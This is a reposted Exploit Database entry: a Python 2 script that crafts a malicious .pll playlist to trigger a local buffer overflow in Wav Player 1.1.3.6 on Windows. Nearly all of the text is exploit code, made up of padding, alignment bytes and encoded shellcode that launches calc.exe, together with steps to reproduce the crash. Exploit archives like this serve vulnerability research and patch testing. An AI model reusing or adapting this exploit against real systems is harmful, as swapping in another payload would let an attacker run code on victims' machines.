Wav Player 1.1.3.6 – ‘.pll’ Local Buffer Overflow

• Exploit Database
• 135 阅读

• 作者： Iván García Ferreira
  日期： 2011-09-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17821/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  # Exploit Title: wav player 1.1.3.6 .pll Buffer Overflow # Date: 12/09/2011 # Author: Ivan Garcia Ferreira # Version: 1.1.3.6 # Tested on: Windows 7 SP1 x86 Spanish # # Description: # Wav player can not handle properly large playlists (more than 1G). # Reproduce: # Open the wav player, make a playlist and save it. Then, close the # player and run this exploit to create the new playlist. When you open again # wav player, you will see the calc. ;) # # Thanks to: # Corelan Team for their excelent articles about exploits   fichero = open("wv_player.pll", "w") print "[+] Creating exploit .pll..."   fichero.write("A"*1034) # Padding   fichero.write("t%dA")#help the first ret fichero.write("\x6d")#nop/align fichero.write("\x55")#push ebp fichero.write("\x6d")#nop/align fichero.write("\x58")#pop eax fichero.write("\x6d")#pop/align fichero.write("\x05\x14\x11") #add eax,0x11001400 fichero.write("\x6d")#pop/align fichero.write("\x2d\x04\x11") #sub eax,0x11001300 fichero.write("\x6d")#pop/align   fichero.write("\x50")#push eax fichero.write("\x6d") #nop/align fichero.write("\xc3") #ret   fichero.write("B"*306) # more padding   # Shellcode WinExec "calc.exe" fichero.write("PPYAIAIAIAIAQATAXAZAPA3QADAZA" + "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" + "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" + "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" + "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" + "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" + "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" + "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" + "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" + "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" + "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" + "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" + "QQ2LRCM0LJA")   # Padding to get the crash for cont in range(1,14000): fichero.write("A"*15000) fichero.close()   print "[+] File Exploit .pll Created."